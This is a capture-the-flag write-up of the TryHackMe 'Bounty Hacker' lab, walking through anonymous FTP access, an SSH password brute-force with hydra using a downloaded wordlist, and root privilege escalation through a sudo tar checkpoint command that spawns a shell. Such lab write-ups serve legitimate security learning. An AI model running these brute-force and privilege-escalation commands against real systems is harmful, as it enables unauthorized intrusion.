TryHackMe - Bounty Hacker Writeup 🏴‍☠️

@Chris Noble

> Difficulty: Easy
>
> Platform: Linux
>
> Skills: Enumeration, SSH, Privilege Escalation

📜 Task Summary

We are acting as bounty hunters trying to break into a pirate-themed box. Let's hack in and find the user and root flags.

🕵️ 1. Reconnaissance

🔍 Nmap Scan

```
nmap -sV -A -T4 <target-ip>
```

Open ports found:

- **21 (FTP)**
- **22 (SSH)**
- **80 (HTTP)**

🌐 2. Enumerating FTP

We try anonymous login:

```
ftp <target-ip>
```

It works! We log in and see a file called `locks.txt`. Let's download it:

```
get locks.txt
```

This might be useful later for brute-forcing passwords.

🌍 3. Web Enumeration (Port 80)

We open the target IP in a browser. It's a basic pirate-themed page, nothing useful.

Let's try directory brute-forcing:

```
gobuster dir -u http://<target-ip> -w /usr/share/wordlists/dirb/common.txt
```

Result: Nothing interesting found.

🧠 4. Password Guessing (SSH Brute-force)

From `locks.txt`, we try to brute-force the password for a known user **lin**.

```
hydra -l lin -P locks.txt ssh://<target-ip>
```

Eventually, we get:

```
[22][ssh] host: <target-ip>   login: lin   password: <found-password>
```

Now we can SSH in:

```
ssh lin@<target-ip>
```

And boom! We're in.

🏴 5. Getting the User Flag

After logging in as `lin`, we check the home directory:

```
cat user.txt
```

✅ Got the user flag!

🔼 6. Privilege Escalation

We check `sudo` permissions:

```
sudo -l
```

Output shows:

```
lin can run /bin/tar as root
```

Nice! We can use the `tar` GTFOBins trick:

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bi
n/sh
```

Now we get a root shell!

👑 7. Getting the Root Flag

We move to the root directory:

```
cd /root
cat root.txt
```

✅ Got the root flag!